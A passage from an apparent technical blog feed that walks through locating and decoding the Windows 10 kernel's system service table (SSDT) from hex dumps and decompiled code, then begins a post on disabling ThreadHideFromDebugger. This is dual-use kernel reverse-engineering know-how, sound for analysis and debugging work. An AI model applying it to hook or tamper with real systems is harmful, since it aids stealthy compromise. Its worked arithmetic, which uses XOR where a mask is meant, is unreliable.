<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808730</span>  fd<span class="hljs-number">902203</span> <span class="hljs-number">0450</span>a<span class="hljs-number">605</span> <span class="hljs-number">0286</span>a<span class="hljs-number">401</span> <span class="hljs-number">0249</span>fd<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808740</span>  <span class="hljs-number">01</span>bd<span class="hljs-number">2207</span> <span class="hljs-number">020</span>d<span class="hljs-number">1</span>e<span class="hljs-number">00</span> <span class="hljs-number">021</span>f<span class="hljs-number">2</span>f<span class="hljs-number">01</span> <span class="hljs-number">04</span>a<span class="hljs-number">3</span>bb<span class="hljs-number">09</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808750</span>  <span class="hljs-number">01</span>e<span class="hljs-number">9</span>b<span class="hljs-number">30</span>d fd<span class="hljs-number">902406</span> fd<span class="hljs-number">902602</span> <span class="hljs-number">01</span>ef<span class="hljs-number">0207</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808760</span>  <span class="hljs-number">0236</span>db<span class="hljs-number">00</span> <span class="hljs-number">03057701</span> <span class="hljs-number">01</span>a<span class="hljs-number">52003</span> <span class="hljs-number">021</span>ef<span class="hljs-number">906</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808770</span>  <span class="hljs-number">04123800</span> <span class="hljs-number">04125800</span> <span class="hljs-number">0233</span>cf<span class="hljs-number">00</span> <span class="hljs-number">04</span>d<span class="hljs-number">56200</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808780</span>  <span class="hljs-number">04</span>d<span class="hljs-number">57</span>b<span class="hljs-number">00</span> <span class="hljs-number">02</span>f<span class="hljs-number">64</span>f<span class="hljs-number">00</span> <span class="hljs-number">018</span>d<span class="hljs-number">2800</span> <span class="hljs-number">02</span>ee<span class="hljs-number">6500</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808790</span>  <span class="hljs-number">02</span>ee<span class="hljs-number">4200</span> <span class="hljs-number">0193</span>e<span class="hljs-number">600</span> <span class="hljs-number">0343</span>a<span class="hljs-number">100</span> <span class="hljs-number">01</span>a<span class="hljs-number">4</span>a<span class="hljs-number">500</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588087</span>a<span class="hljs-number">0</span>  <span class="hljs-number">02</span>ee<span class="hljs-number">1600</span> <span class="hljs-number">04</span>cfa<span class="hljs-number">900</span> ff<span class="hljs-number">19</span>bd<span class="hljs-number">00</span> <span class="hljs-number">02</span>ed<span class="hljs-number">1200</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588087</span>b<span class="hljs-number">0</span>  <span class="hljs-number">04</span>d<span class="hljs-number">59400</span> <span class="hljs-number">04</span>d<span class="hljs-number">5</span>f<span class="hljs-number">900</span> <span class="hljs-number">04</span>d<span class="hljs-number">64400</span> fd<span class="hljs-number">902801</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588087</span>c<span class="hljs-number">0</span>  <span class="hljs-number">02619100</span> <span class="hljs-number">04</span>a<span class="hljs-number">4</span>ef<span class="hljs-number">01</span> <span class="hljs-number">02283</span>a<span class="hljs-number">02</span> <span class="hljs-number">02</span>bb<span class="hljs-number">340</span>a
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588087</span>d<span class="hljs-number">0</span>  <span class="hljs-number">023</span>bdb<span class="hljs-number">01</span> <span class="hljs-number">0346</span>c<span class="hljs-number">200</span> <span class="hljs-number">025</span>b<span class="hljs-number">5</span>e<span class="hljs-number">00</span> <span class="hljs-number">02525</span>a<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588087</span>e<span class="hljs-number">0</span>  fc<span class="hljs-number">1</span>b<span class="hljs-number">4300</span> <span class="hljs-number">02331400</span> <span class="hljs-number">045</span>d<span class="hljs-number">9500</span> <span class="hljs-number">04530</span>b<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588087</span>f<span class="hljs-number">0</span>  <span class="hljs-number">03</span>eb<span class="hljs-number">8</span>d<span class="hljs-number">00</span> fd<span class="hljs-number">902</span>a<span class="hljs-number">00</span> <span class="hljs-number">02451502</span> <span class="hljs-number">01</span>a<span class="hljs-number">59802</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808800</span>  <span class="hljs-number">0257</span>ef<span class="hljs-number">00</span> <span class="hljs-number">048</span>a<span class="hljs-number">9200</span> <span class="hljs-number">048</span>a<span class="hljs-number">9700</span> <span class="hljs-number">04719</span>c<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808810</span>  <span class="hljs-number">02</span>b<span class="hljs-number">14200</span> <span class="hljs-number">02</span>ffef<span class="hljs-number">01</span> <span class="hljs-number">0490</span>c<span class="hljs-number">302</span> <span class="hljs-number">02579</span>c<span class="hljs-number">01</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808820</span>  fd<span class="hljs-number">902</span>c<span class="hljs-number">03</span> fcb<span class="hljs-number">37703</span> <span class="hljs-number">02234100</span> <span class="hljs-number">02305800</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808830</span>  <span class="hljs-number">045</span>cf<span class="hljs-number">801</span> <span class="hljs-number">01</span>e<span class="hljs-number">59</span>d<span class="hljs-number">00</span> <span class="hljs-number">03043100</span> <span class="hljs-number">02</span>c<span class="hljs-number">55600</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808840</span>  <span class="hljs-number">02</span>c<span class="hljs-number">94100</span> <span class="hljs-number">02622</span>a<span class="hljs-number">00</span> <span class="hljs-number">0348</span>a<span class="hljs-number">300</span> <span class="hljs-number">0263</span>c<span class="hljs-number">000</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808850</span>  <span class="hljs-number">045</span>d<span class="hljs-number">2505</span> <span class="hljs-number">02</span>f<span class="hljs-number">6</span>b<span class="hljs-number">600</span> <span class="hljs-number">02</span>f<span class="hljs-number">69</span>b<span class="hljs-number">00</span> <span class="hljs-number">0192</span>d<span class="hljs-number">104</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808860</span>  <span class="hljs-number">01</span>c<span class="hljs-number">02506</span> <span class="hljs-number">024</span>f<span class="hljs-number">7800</span> <span class="hljs-number">022</span>b<span class="hljs-number">1500</span> fca<span class="hljs-number">88500</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808870</span>  <span class="hljs-number">02</span>bdf<span class="hljs-number">000</span> <span class="hljs-number">02592400</span> <span class="hljs-number">045</span>a<span class="hljs-number">6</span>c<span class="hljs-number">00</span> <span class="hljs-number">01</span>a<span class="hljs-number">3</span>e<span class="hljs-number">901</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808880</span>  <span class="hljs-number">02</span>ede<span class="hljs-number">702</span> <span class="hljs-number">04535600</span> <span class="hljs-number">025</span>d<span class="hljs-number">1205</span> <span class="hljs-number">04</span>d<span class="hljs-number">66</span>f<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808890</span>  <span class="hljs-number">04</span>d<span class="hljs-number">67200</span> <span class="hljs-number">024</span>cbd<span class="hljs-number">05</span> <span class="hljs-number">024</span>cc<span class="hljs-number">306</span> <span class="hljs-number">02028306</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588088</span>a<span class="hljs-number">0</span>  <span class="hljs-number">01</span>ffeb<span class="hljs-number">08</span> <span class="hljs-number">03029</span>f<span class="hljs-number">04</span> fd<span class="hljs-number">902</span>e<span class="hljs-number">01</span> <span class="hljs-number">02</span>bb<span class="hljs-number">3400</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588088</span>b<span class="hljs-number">0</span>  <span class="hljs-number">041</span>f<span class="hljs-number">7100</span> <span class="hljs-number">048</span>b<span class="hljs-number">7</span>f<span class="hljs-number">00</span> <span class="hljs-number">02987400</span> <span class="hljs-number">03</span>eb<span class="hljs-number">9600</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588088</span>c<span class="hljs-number">0</span>  <span class="hljs-number">018</span>ac<span class="hljs-number">901</span> <span class="hljs-number">04</span>dc<span class="hljs-number">6</span>e<span class="hljs-number">00</span> <span class="hljs-number">01</span>cb<span class="hljs-number">4500</span> <span class="hljs-number">02</span>c<span class="hljs-number">0</span>a<span class="hljs-number">708</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588088</span>d<span class="hljs-number">0</span>  <span class="hljs-number">03465300</span> <span class="hljs-number">0254</span>e<span class="hljs-number">400</span> <span class="hljs-number">02843</span>c<span class="hljs-number">00</span> <span class="hljs-number">03</span>eb<span class="hljs-number">9800</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588088</span>e<span class="hljs-number">0</span>  fd<span class="hljs-number">903001</span> <span class="hljs-number">01</span>cb<span class="hljs-number">3</span>a<span class="hljs-number">00</span> <span class="hljs-number">02</span>c<span class="hljs-number">27</span>c<span class="hljs-number">00</span> <span class="hljs-number">022</span>d<span class="hljs-number">1900</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588088</span>f<span class="hljs-number">0</span>  <span class="hljs-number">02064800</span> <span class="hljs-number">04</span>d<span class="hljs-number">19400</span> fd<span class="hljs-number">903201</span> fd<span class="hljs-number">903402</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808900</span>  <span class="hljs-number">020</span>e<span class="hljs-number">7900</span> fd<span class="hljs-number">903600</span> fd<span class="hljs-number">903800</span> fd<span class="hljs-number">903</span>a<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808910</span>  fd<span class="hljs-number">903</span>c<span class="hljs-number">00</span> <span class="hljs-number">01</span>ec<span class="hljs-number">4600</span> <span class="hljs-number">03025502</span> <span class="hljs-number">0222</span>ac<span class="hljs-number">01</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808920</span>  fd<span class="hljs-number">903</span>e<span class="hljs-number">00</span> fd<span class="hljs-number">904000</span> <span class="hljs-number">01993900</span> <span class="hljs-number">04</span>dc<span class="hljs-number">3200</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808930</span>  <span class="hljs-number">04</span>d<span class="hljs-number">67500</span> <span class="hljs-number">04</span>d<span class="hljs-number">69</span>c<span class="hljs-number">00</span> fc<span class="hljs-number">7</span>e<span class="hljs-number">9300</span> <span class="hljs-number">01</span>c<span class="hljs-number">06106</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808940</span>  <span class="hljs-number">02</span>a<span class="hljs-number">97</span>d<span class="hljs-number">03</span> <span class="hljs-number">04</span>d<span class="hljs-number">6</span>cc<span class="hljs-number">00</span> <span class="hljs-number">023</span>f<span class="hljs-number">3</span>b<span class="hljs-number">05</span> <span class="hljs-number">01</span>efc<span class="hljs-number">600</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808950</span>  <span class="hljs-number">0233</span>f<span class="hljs-number">001</span> <span class="hljs-number">041</span>faa<span class="hljs-number">01</span> fd<span class="hljs-number">904201</span> <span class="hljs-number">01</span>d<span class="hljs-number">48701</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808960</span>  <span class="hljs-number">044</span>bd<span class="hljs-number">201</span> fd<span class="hljs-number">904401</span> fd<span class="hljs-number">904601</span> fd<span class="hljs-number">904801</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808970</span>  ff<span class="hljs-number">1</span>f<span class="hljs-number">1401</span> <span class="hljs-number">0257</span>f<span class="hljs-number">900</span> <span class="hljs-number">02</span>be<span class="hljs-number">2900</span> <span class="hljs-number">041</span>f<span class="hljs-number">8301</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808980</span>  <span class="hljs-number">022</span>bbd<span class="hljs-number">01</span> <span class="hljs-number">0194</span>b<span class="hljs-number">002</span> <span class="hljs-number">04</span>dce<span class="hljs-number">701</span> <span class="hljs-number">03</span>ebad<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808990</span>  <span class="hljs-number">03</span>ebd<span class="hljs-number">100</span> <span class="hljs-number">02</span>bb<span class="hljs-number">2</span>a<span class="hljs-number">00</span> <span class="hljs-number">0420</span>cf<span class="hljs-number">05</span> <span class="hljs-number">01</span>dcef<span class="hljs-number">02</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588089</span>a<span class="hljs-number">0</span>  <span class="hljs-number">022</span>ec<span class="hljs-number">501</span> <span class="hljs-number">049</span>d<span class="hljs-number">1702</span> <span class="hljs-number">04</span>d<span class="hljs-number">8</span>f<span class="hljs-number">601</span> <span class="hljs-number">028</span>d<span class="hljs-number">2900</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588089</span>b<span class="hljs-number">0</span>  <span class="hljs-number">04</span>d<span class="hljs-number">6</span>ff<span class="hljs-number">00</span> <span class="hljs-number">025</span>d<span class="hljs-number">2</span>b<span class="hljs-number">01</span> <span class="hljs-number">02409</span>f<span class="hljs-number">02</span> <span class="hljs-number">025</span>d<span class="hljs-number">1</span>a<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588089</span>c<span class="hljs-number">0</span>  <span class="hljs-number">01</span>a<span class="hljs-number">68</span>a<span class="hljs-number">02</span> <span class="hljs-number">02483</span>f<span class="hljs-number">01</span> <span class="hljs-number">01</span>e<span class="hljs-number">3</span>ff<span class="hljs-number">02</span> fdb<span class="hljs-number">5</span>b<span class="hljs-number">800</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588089</span>d<span class="hljs-number">0</span>  <span class="hljs-number">04</span>d<span class="hljs-number">8</span>c<span class="hljs-number">202</span> fd<span class="hljs-number">904</span>a<span class="hljs-number">00</span> fd<span class="hljs-number">904</span>c<span class="hljs-number">00</span> fd<span class="hljs-number">904</span>e<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588089</span>e<span class="hljs-number">0</span>  fd<span class="hljs-number">905000</span> fd<span class="hljs-number">90</span>a<span class="hljs-number">201</span> <span class="hljs-number">025</span>d<span class="hljs-number">2200</span> <span class="hljs-number">02564000</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">588089</span>f<span class="hljs-number">0</span>  fcb<span class="hljs-number">4</span>c<span class="hljs-number">700</span> <span class="hljs-number">022</span>c<span class="hljs-number">7102</span> <span class="hljs-number">04127700</span> <span class="hljs-number">03</span>ec<span class="hljs-number">0600</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>a<span class="hljs-number">00</span>  fd<span class="hljs-number">90</span>a<span class="hljs-number">400</span> <span class="hljs-number">03</span>ec<span class="hljs-number">5200</span> ff<span class="hljs-number">2</span>c<span class="hljs-number">6800</span> <span class="hljs-number">044</span>be<span class="hljs-number">500</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>a<span class="hljs-number">10</span>  <span class="hljs-number">02520800</span> <span class="hljs-number">0238</span>a<span class="hljs-number">400</span> <span class="hljs-number">01</span>b<span class="hljs-number">6</span>a<span class="hljs-number">200</span> <span class="hljs-number">03</span>ec<span class="hljs-number">8</span>a<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>a<span class="hljs-number">20</span>  <span class="hljs-number">048</span>ee<span class="hljs-number">900</span> feea<span class="hljs-number">0</span>a<span class="hljs-number">00</span> fd<span class="hljs-number">905200</span> fd<span class="hljs-number">905400</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>a<span class="hljs-number">30</span>  <span class="hljs-number">01887400</span> fd<span class="hljs-number">905600</span> fd<span class="hljs-number">90</span>aa<span class="hljs-number">00</span> <span class="hljs-number">03</span>ecb<span class="hljs-number">400</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>a<span class="hljs-number">40</span>  <span class="hljs-number">03</span>ecb<span class="hljs-number">600</span> <span class="hljs-number">03</span>ece<span class="hljs-number">000</span> <span class="hljs-number">023</span>c<span class="hljs-number">8</span>d<span class="hljs-number">05</span> <span class="hljs-number">03474300</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>a<span class="hljs-number">50</span>  <span class="hljs-number">04</span>d<span class="hljs-number">73000</span> <span class="hljs-number">04</span>d<span class="hljs-number">75100</span> <span class="hljs-number">049</span>d<span class="hljs-number">4801</span> <span class="hljs-number">049</span>d<span class="hljs-number">4</span>b<span class="hljs-number">02</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>a<span class="hljs-number">60</span>  <span class="hljs-number">048</span>db<span class="hljs-number">900</span> <span class="hljs-number">032</span>b<span class="hljs-number">5</span>b<span class="hljs-number">00</span> <span class="hljs-number">0346</span>ec<span class="hljs-number">00</span> <span class="hljs-number">03018000</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>a<span class="hljs-number">70</span>  <span class="hljs-number">0301</span>a<span class="hljs-number">100</span> <span class="hljs-number">04</span>d<span class="hljs-number">77200</span> <span class="hljs-number">04206900</span> <span class="hljs-number">02</span>bb<span class="hljs-number">3400</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>a<span class="hljs-number">80</span>  <span class="hljs-number">02</span>bb<span class="hljs-number">3400</span> fc<span class="hljs-number">914100</span> <span class="hljs-number">04128</span>c<span class="hljs-number">01</span> fd<span class="hljs-number">905800</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>a<span class="hljs-number">90</span>  <span class="hljs-number">01</span>d<span class="hljs-number">29</span>b<span class="hljs-number">00</span> <span class="hljs-number">028</span>ce<span class="hljs-number">900</span> fd<span class="hljs-number">905</span>a<span class="hljs-number">00</span> <span class="hljs-number">04636</span>d<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>aa<span class="hljs-number">0</span>  <span class="hljs-number">01</span>e<span class="hljs-number">68800</span> fd<span class="hljs-number">905</span>c<span class="hljs-number">00</span> fd<span class="hljs-number">90</span>a<span class="hljs-number">600</span> <span class="hljs-number">01</span>bb<span class="hljs-number">2402</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>ab<span class="hljs-number">0</span>  fc<span class="hljs-number">3</span>b<span class="hljs-number">0</span>d<span class="hljs-number">00</span> <span class="hljs-number">02</span>be<span class="hljs-number">3500</span> <span class="hljs-number">021</span>f<span class="hljs-number">5</span>b<span class="hljs-number">01</span> <span class="hljs-number">027</span>dd<span class="hljs-number">602</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>ac<span class="hljs-number">0</span>  fd<span class="hljs-number">8</span>fed<span class="hljs-number">02</span> <span class="hljs-number">02</span>bb<span class="hljs-number">3400</span> <span class="hljs-number">02</span>bb<span class="hljs-number">3400</span> <span class="hljs-number">04214200</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>ad<span class="hljs-number">0</span>  <span class="hljs-number">0223</span>a<span class="hljs-number">000</span> <span class="hljs-number">04</span>d<span class="hljs-number">79300</span> <span class="hljs-number">04</span>d<span class="hljs-number">7</span>c<span class="hljs-number">301</span> <span class="hljs-number">019</span>a<span class="hljs-number">4</span>b<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>ae<span class="hljs-number">0</span>  <span class="hljs-number">016</span>ea<span class="hljs-number">700</span> <span class="hljs-number">04</span>cf<span class="hljs-number">3700</span> <span class="hljs-number">021</span>d<span class="hljs-number">5400</span> fd<span class="hljs-number">2</span>f<span class="hljs-number">2900</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>af<span class="hljs-number">0</span>  fcc<span class="hljs-number">91</span>c<span class="hljs-number">00</span> <span class="hljs-number">019</span>a<span class="hljs-number">2300</span> <span class="hljs-number">033</span>db<span class="hljs-number">900</span> <span class="hljs-number">02</span>e<span class="hljs-number">71</span>a<span class="hljs-number">01</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>b<span class="hljs-number">00</span>  <span class="hljs-number">0246</span>a<span class="hljs-number">800</span> <span class="hljs-number">04</span>cfc<span class="hljs-number">400</span> fc<span class="hljs-number">8</span>cdb<span class="hljs-number">00</span> fed<span class="hljs-number">2</span>e<span class="hljs-number">100</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>b<span class="hljs-number">10</span>  fd<span class="hljs-number">90</span>a<span class="hljs-number">800</span> <span class="hljs-number">04</span>dc<span class="hljs-number">3900</span> <span class="hljs-number">04</span>dc<span class="hljs-number">5</span>f<span class="hljs-number">00</span> <span class="hljs-number">01</span>a<span class="hljs-number">64600</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>b<span class="hljs-number">20</span>  <span class="hljs-number">048</span>ef<span class="hljs-number">100</span> <span class="hljs-number">0254</span>b<span class="hljs-number">700</span> <span class="hljs-number">04</span>dc<span class="hljs-number">7</span>e<span class="hljs-number">02</span> <span class="hljs-number">045</span>d<span class="hljs-number">8</span>a<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>b<span class="hljs-number">30</span>  <span class="hljs-number">02532500</span> <span class="hljs-number">02498900</span> <span class="hljs-number">03</span>ed<span class="hljs-number">0300</span> fd<span class="hljs-number">905</span>e<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>b<span class="hljs-number">40</span>  <span class="hljs-number">02</span>a<span class="hljs-number">82</span>f<span class="hljs-number">02</span> <span class="hljs-number">04</span>d<span class="hljs-number">7</span>ed<span class="hljs-number">00</span> <span class="hljs-number">0447</span>e<span class="hljs-number">000</span> <span class="hljs-number">02</span>ee<span class="hljs-number">7000</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>b<span class="hljs-number">50</span>  <span class="hljs-number">02</span>e<span class="hljs-number">9</span>d<span class="hljs-number">500</span> <span class="hljs-number">03060800</span> <span class="hljs-number">01894800</span> <span class="hljs-number">0230</span>df<span class="hljs-number">01</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>b<span class="hljs-number">60</span>  fcb<span class="hljs-number">7</span>c<span class="hljs-number">400</span> <span class="hljs-number">01</span>ac<span class="hljs-number">9100</span> <span class="hljs-number">01</span>a<span class="hljs-number">08300</span> <span class="hljs-number">01</span>a<span class="hljs-number">60903</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>b<span class="hljs-number">70</span>  <span class="hljs-number">02</span>bb<span class="hljs-number">3400</span> <span class="hljs-number">02</span>a<span class="hljs-number">95</span>a<span class="hljs-number">00</span> <span class="hljs-number">0412</span>a<span class="hljs-number">400</span> <span class="hljs-number">02560</span>c<span class="hljs-number">00</span>
<span class="hljs-attribute">fffff806</span>`<span class="hljs-number">58808</span>b<span class="hljs-number">80</span>  fd<span class="hljs-number">1</span>e<span class="hljs-number">9201</span> <span class="hljs-number">02</span>bb<span class="hljs-number">3400</span> <span class="hljs-number">02</span>bb<span class="hljs-number">3400</span> <span class="hljs-number">000001</span>cf
</code></pre><p><em>by the way</em> if you want to follow along at home I'm working with Windows 10 x64 kernel 1809 (build 10.0.17763.379)</p>
<p>A couple of things stand out about this collection:</p>
<ul>
<li>It's a bunch of 32-bit numbers that are roughly between +0x03000000 and -0x03000000</li>
<li>It finishes with the size of the collection (0x1CF), something we can search for when confirming whether we've found the SSDT</li>
</ul>
<p>Once we have this address we can search for it in the disassembly and see what references it directly. I found two references, one of which looks like this:</p>
<pre><code><span class="hljs-comment">// sub_16CCEC</span>
KeCompactServiceTable(<span class="hljs-operator">&amp;</span>KiServiceTable, <span class="hljs-operator">&amp;</span>KiArgumentTable, (unsigned <span class="hljs-keyword">int</span>)<span class="hljs-operator">*</span>(<span class="hljs-operator">&amp;</span>KiServiceTable <span class="hljs-operator">+</span> <span class="hljs-number">0x1CF</span>), 0i64, 0x140000000i64);
</code></pre><p>We can look inside this and see how this gets prepared:</p>
<pre><code>pCurrentEntry <span class="hljs-operator">=</span> pKiServiceTable;
<span class="hljs-keyword">if</span> ( numEntries )
{
  numEntriesRemaining <span class="hljs-operator">=</span> numEntries;
  do
  {
    <span class="hljs-operator">*</span>pCurrentEntry <span class="hljs-operator">=</span> ((imageBase <span class="hljs-operator">+</span> <span class="hljs-operator">*</span>pCurrentEntry <span class="hljs-operator">-</span> (unsigned <span class="hljs-keyword">int</span>)pKiServiceTable ) <span class="hljs-operator">&lt;</span><span class="hljs-operator">&lt;</span> <span class="hljs-number">4</span>) <span class="hljs-operator">|</span> (<span class="hljs-operator">*</span>pNumArguments <span class="hljs-operator">&gt;</span><span class="hljs-operator">&gt;</span> <span class="hljs-number">2</span>);
    <span class="hljs-operator">*</span>pNumArguments<span class="hljs-operator">+</span><span class="hljs-operator">+</span>;
    pCurrentEntry<span class="hljs-operator">+</span><span class="hljs-operator">+</span>;
    numEntriesRemaining<span class="hljs-operator">-</span><span class="hljs-operator">-</span>;
  }
  <span class="hljs-keyword">while</span> ( numEntriesRemaining );
}
</code></pre><p>Let's break down that big pCurrentEntry line:</p>
<pre><code><span class="hljs-comment">// the whole line</span>
((imageBase <span class="hljs-operator">+</span> <span class="hljs-operator">*</span>pCurrentEntry <span class="hljs-operator">-</span> (unsigned <span class="hljs-keyword">int</span>)pKiServiceTable ) <span class="hljs-operator">&lt;</span><span class="hljs-operator">&lt;</span> <span class="hljs-number">4</span>) <span class="hljs-operator">|</span> (<span class="hljs-operator">*</span>pNumArguments <span class="hljs-operator">&gt;</span><span class="hljs-operator">&gt;</span> <span class="hljs-number">2</span>);
<span class="hljs-comment">// first half</span>
((imageBase <span class="hljs-operator">+</span> <span class="hljs-operator">*</span>pCurrentEntry <span class="hljs-operator">-</span> (unsigned <span class="hljs-keyword">int</span>)pKiServiceTable ) <span class="hljs-operator">&lt;</span><span class="hljs-operator">&lt;</span> <span class="hljs-number">4</span>)
<span class="hljs-comment">// let's step in, it's this value shifted left by 4:</span>
imageBase <span class="hljs-operator">+</span> <span class="hljs-operator">*</span>pCurrentEntry <span class="hljs-operator">-</span> (unsigned <span class="hljs-keyword">int</span>)pKiServiceTable
<span class="hljs-comment">// if the original values are just offsets from the base then adding imageBase just relocates it (pKiServiceTable is already relocated)</span>
relocatedFunctionPointer <span class="hljs-operator">-</span> pKiServiceTable
<span class="hljs-comment">// this gives us an offset to the function from KiServiceTable...</span>
</code></pre><p>So this explains what our entries are in the table:</p>
<ul>
<li>Bits 0-4 are the number of arguments that each function takes on the stack (for some reason stored in multiples of 4?)</li>
<li>Bits 5-32 are an offset from KiServiceTable</li>
</ul>
<p>We can test this by running it in reverse. Let's look for a function like NtWaitForSingleObject (present in every windows 10 kernel), at offset 0x04. This value is 0x02a07c00, and we break it down as follows:</p>
<ul>
<li>Number of arguments is 02a07c00 ^ 0x0F = 0</li>
<li>Offset from KiServiceTable is 02a07c00 &gt;&gt; 4 = 02a07c0</li>
<li>KiServiceTable is at 1403FE450 so we should find this function at 1403FE450 + 02a07c0 = 14069EC10</li>
</ul>
<p>And this is correct: NtWaitForSingleObject is at 14069EC10 in the binary (or 69EC10 + baseOffset).</p>
<p>We need to do this arithmetic when we lift the SSDT from memory, but it looks like the base source of data is just offsets from the base image. Sure enough, if we look at the binary on disk, this is exactly what we see:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1640268264245/g0r9RJeOc.png" alt="image.png" /></p>
<p>This is all we need to lift the SSDT! I've put together some <a target="_blank" href="https://github.com/samrussell/extract_ssdt/blob/master/extract.py">sample code</a> for you that does the following:</p>
<ol>
<li>Looks up the export table to find the RVA of a function we know we'll have a syscall for (NtWaitForSingleObject)</li>
<li>Scans through the binary to find mentions of this RVA</li>
<li>Does some checks to make sure we're actually in the SSDT (scans through until we find a small number, then checks we've got something like the NumArguments table immediately following)</li>
<li>Renders this table with checks against the export table to extract names where we can.</li>
</ol>
<p>Here's the result:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1640268772047/S8Y15kXQP.png" alt="image.png" /></p>
<p>You'll note there are quite a few gaps, there are reasons for this. Apart from the fact that system calls are part of Windows internals, and any undocumented feature like these is likely to change in the future, there are also a lot of system calls that have similar names and use slightly different endpoints. For example, a call to NtSetContextThread in usermode will result in a system call, but it hits a different entrypoint to the PsSetContextThread function that is exported in kernel mode. They are both facades to the same internal function, but it means we're limited to only rendering names for functions that use the same entrypoint for both usermode and kernel mode invocations.</p>
<p>In any case, this is a starting point, and the next step is to extract kernel symbols and use them to render a more complete version of the SSDT.</p>
<p>Happy hacking.</p>
]]></content:encoded></item><item><title><![CDATA[NtSetInformationThread: Disabling ThreadHideFromDebugger]]></title><description><![CDATA[One common anti-debugging technique is to make use of the Windows API to simply mark your threads as invisible to the debugger. This isn't officially documented by Microsoft but it has been quite robust across windows versions.
